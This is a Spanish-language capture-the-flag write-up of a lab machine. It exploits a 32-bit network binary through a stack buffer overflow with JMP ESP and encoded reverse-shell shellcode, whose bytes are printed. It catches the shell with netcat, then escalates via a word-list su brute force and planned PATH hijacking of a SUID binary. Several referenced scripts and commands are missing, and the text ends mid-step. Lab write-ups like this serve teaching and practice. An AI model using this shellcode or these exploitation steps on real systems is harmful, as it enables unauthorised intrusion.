Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 04:18 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: software installation
|_http-server-header: Apache/2.4.62 (Debian)
20201/tcp open unknown
| fingerprint-strings:
| GenericLines:
| Enter data: Data received correctly
| NULL:
|_ Enter data:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port20201-TCP:V=7.94SVN%I=7%D=12/18%Time=6762936E%P=x86_64-pc-linux-gnu
SF:%r(NULL,C,"Enter\x20data:\x20")%r(GenericLines,24,"Enter\x20data:\x20Da
SF:ta\x20received\x20correctly\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds
Si nos metemos en la pagina que viene con el puerto 80, veremos que podremos descargar un "software" que tiene la pagina, si nos lo descargamos veremos que el archivo se llama secure_software.
Si vemos que tipo de archivo es, ya que no viene con una extension:
file secure_software
Info:
secure_software: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1badf7bdd2ab6ae00b8c3b1f965fca6048d32478, for GNU/Linux 3.2.0, not stripped
Vemos que es un .elf un ejecutable para linux, si lo ejecutamos parece ser que esta a la escucha generando un socket a la espera de alguna peticion, pero no hace mucho mas.
Podremos probar a revisar las seguridades de la aplicacion por si fuera vulnerable a un Buffer Overflow y poder sobreescribir la aplicacion en alguna direccion de memoria en la que se pueda escribir haciendo ingenieria inversa:
checksec --file=secure_software
Info:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 50 Symbols No 0 1 secure_software
Vemos que las protecciones mas criticas estan desactivadas, por lo que podremos sobrescribir algun codigo de memoria que este dentro de la aplicacion, por lo que utilizaremos GDB pero utilizando un entorno llamado PEDA dentro del GDB, la cual nos proporciona herramientas para facilitar este tipo de explotacion.
Ingenieria inversa (secure_software)
Instalacion de GDB con PEDA/GDB con pwndbg
Lo que primero tendremos que hacer sera lo siguiente:
Y si iniciamos el programa con GDB pasandole como parametro el programa, se nos pondra el gdb-peda...
gdb ./secure_software
Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Y si iniciamos gdb veremos lo siguiente:
gdb ./secure_software
Info:
GNU gdb (Debian 15.2-1) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 176 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./secure_software...
(No debugging symbols found in ./secure_software)
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.aglib.memory.read(addr, len), pwndbg.aglib.memory.write(addr, data), pwndbg.aglib.vmmap.get() and so on!
pwndbg>
Comprobacion de desbordamiento de Buffer
En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:
Antes de ejecutar el script, inicia la aplicación en GDB (preferentemente con pwndbg):
gdb (pwndbg)
run
Ahora en el host ejecutamos:
python3 step1.py
Resultado esperado en GDB: La aplicación debería mostrar un error de segmentación (SIGSEGV), indicando que el buffer fue desbordado. Observa el valor de EIP en los registros, que reflejará parte del patrón enviado.
Veremos que hemos conseguido pasarnos del buffer y nos muestra la direccion de memoria que nos importa llamado EIP que seria 0x41306b41.
Identificación del Offset
Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida en EIP:
Vemos que funciona y sobrescribe con B el EIP por lo que ahora tendremos que injectar un shellcode para que se nos haga una reverse shell al servidor aprovechando esta vulnerabilidad.
Verificación del Espacio Después del EIP
Queremos comprobar qué ocurre con los datos introducidos después del EIP. Para ello, añadimos datos adicionales (CCCC) al final del payload creando una variable after_eip y automatizaremos todo esto con un script:
Ahora en el GDB tendremos que poner de nuevo run para ejecutar la aplicacion:
gdb (pwndbg)
run
Y en el host ejecutamos el script:
host
python3 step3.py
En el GDB tendremos que ver algo asi:
Starting program: /home/kali/Desktop/insecure/secure_software 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Listening at 0.0.0.0:20201!
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
EAX 0xffffffff
EBX 0x41414141 ('AAAA')
ECX 0
EDX 0xffffffb8
EDI 0x41414141 ('AAAA')
ESI 0xffffd320 ◂— 0x43434343 ('CCCC')
EBP 0x41414141 ('AAAA')
ESP 0xffffd240 ◂— 0x43434343 ('CCCC')
EIP 0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd240 ◂— 0x43434343 ('CCCC')
... ↓ 7 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x42424242 None
1 0x43434343 None
2 0x43434343 None
3 0x43434343 None
4 0x43434343 None
5 0x43434343 None
6 0x43434343 None
7 0x43434343 None
───────────────────────────────────────────────────────────────────────────────────
Resultado esperado: En GDB, verifica la pila (stack) para comprobar que los CCCC aparecen después del EIP. Usa este comando (x/300wx $esp)
Si ejecutamos x/300wx $esp para ver la información que hay en el pila vemos que nuestras Cs se están introduciendo al principio de la pila (stack), por lo que en este punto lo que debemos hacer es encontrar un OpCode el cual nos permita realizar un salto al ESP, es decir al principio de la pila.
Vemos que se esta realizando todo correctamente al principio de la pila y llenando esos huecos con la C que se corresponden con 0x43434343.
Identificación del OpCode para JMP ESP
Para redirigir la ejecución al principio de la pila (ESP), necesitamos identificar el código de operación (opcode) de un salto (JMP ESP). Usamos nasm_shell.rb:
El flag -b '\x00\x0a\x0d' excluye los caracteres nulos y de salto de línea, ya que podrían interrumpir la ejecución del payload. El flag -f py genera el código en formato Python para facilitar su inclusión en scripts.
Info:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 479 bytes
buf = b""
buf += b"\xda\xd0\xba\xd0\xd0\x81\xae\xd9\x74\x24\xf4\x5f"
buf += b"\x33\xc9\xb1\x12\x83\xef\xfc\x31\x57\x13\x03\x87"
buf += b"\xc3\x63\x5b\x16\x3f\x94\x47\x0b\xfc\x08\xe2\xa9"
buf += b"\x8b\x4e\x42\xcb\x46\x10\x30\x4a\xe9\x2e\xfa\xec"
buf += b"\x40\x28\xfd\x84\x92\x62\xf8\xee\x7b\x71\x03\x10"
buf += b"\x1d\xfc\xe2\x9c\xbb\xae\xb5\x8f\xf0\x4c\xbf\xce"
buf += b"\x3a\xd2\xed\x78\xab\xfc\x62\x10\x5b\x2c\xaa\x82"
buf += b"\xf2\xbb\x57\x10\x56\x35\x76\x24\x53\x88\xf9"
Obtener una shell como el usuario securedev
Por lo que crearemos un script para automatizar todo esto y tambien añadiremos en el script una cadena de NOPS para que salte todo hasta nuestro shellcode y se ejecute nuestra rever shell.
Desbordamiento del buffer: El payload comienza con A's para llenar el buffer hasta alcanzar el offset donde se sobrescribe el EIP (288 en este caso).
Dirección de retorno: Utilizamos la dirección de una instrucción jmp esp para redirigir la ejecución hacia nuestro shellcode. Esta dirección se obtiene mediante análisis del binario vulnerable usando herramientas como gdb.
NOP sled: Se añade una "pista" de NOPs (\x90) antes del shellcode para garantizar que cualquier variación en la dirección de salto no interfiera con la ejecución del payload.
Por lo que ahora tendremos que hacer lo siguiente:
gdb (pwndbg)
run
host
nc -lvnp <PORT>
Y finalmente en otra terminal de nuestro host tendremos que ejecutar el script y asi obtender la shell:
python3 step4.py
Y si nos vamos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 40602
whoami
securedev
Escalate user johntheripper
Primero tendremos que sanitizar la shell (TTY):
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si listamos la misma carpeta en la que estamos, podremos ver un archivo llamado hashfile, su contenido seria el siguiente:
This is for you, john the ripper:
21571b31a8d2e8b03690989835872cc6
Si intentamos crackearlo con john no conseguiremos nada, pero si seguimos enumerando, encontraremos lo siguiente en la siguiente ruta:
Primero buscaremos archivos creados por el usuario johntheripper:
find / -type f -type f -user johntheripper 2>/dev/null
Info:
/opt/.hidden/words
Vemos que hay un archivo interesante en esa ruta y ese archivo contiene lo siguiente:
I love these words:
test123test333
333300trest
trest00aa20_
_23t_32_g4
testnefg321ttt
trestre2612t33s
11tv1e0st!!!!!
!!10t3bst??
tset0tevst!
ts!tse?test01
_0test!X!test0
0143_t3s5t53_0
Podemos deducir que alguna de esas palabras puede ser la contraseña del usuario johntheripper, por lo que nos descargaremos un script para hacer fuerza bruta a un usuario con su:
Ahora cogemos esas palabras y las metemos en un archivo .txt:
Vemos que tenemos un archivo en nuestra carpeta llamado show_files y que tiene permisos SUID.
Si por ejemplo ejecutamos dicha aplicacion de esta forma:
./johntheripper/show_files
Info:
johntheripper securedev
Por lo que vemos nos lista los archivos cuando lo ejecutamos, por lo que haremos lo siguiente.
Primero nos vamos a pasar la herramienta a nuestra maquina atacante, para analizarla mucho mejor:
Maquina victima
python3 -m http.server
Maquina atacante
wget http://<IP>:8000/show_files
Ghidra Tool
Podremos utilizar una herramienta para analizar un binario compilado o este tipo de cosas, para poder verlo en texto plano y decompilarlo, si utilizamos Ghidra de la siguiente manera:
sudo apt install ghidra
Y lo ejecutamos:
ghidra
Se nos abrira una aplicacion, en la cual tendremos que cargar el archivo que nos pasamos a la maquina atacante, de la siguiente forma:
Le daremos al siguiente boton:
Se nos abrira otra ventana mas grande en la cual tendremos que cargar el archivo show_files, le daremos a File -> Import File... -> seleccionamos el archivo a decompilar y nos mostrara la informacion en texto plano de basicamente la funciona de la aplicacion en la parte derecha del programa, viendo lo siguiente:
Por lo que vemos esta ejecutando el ls de forma insegura, ya que no pilla la ruta absoluta, por lo que podremos realizar la tecnica de PATH Hijacking, de la siguiente forma, nos iremos a la maquina victima y haremos esto:
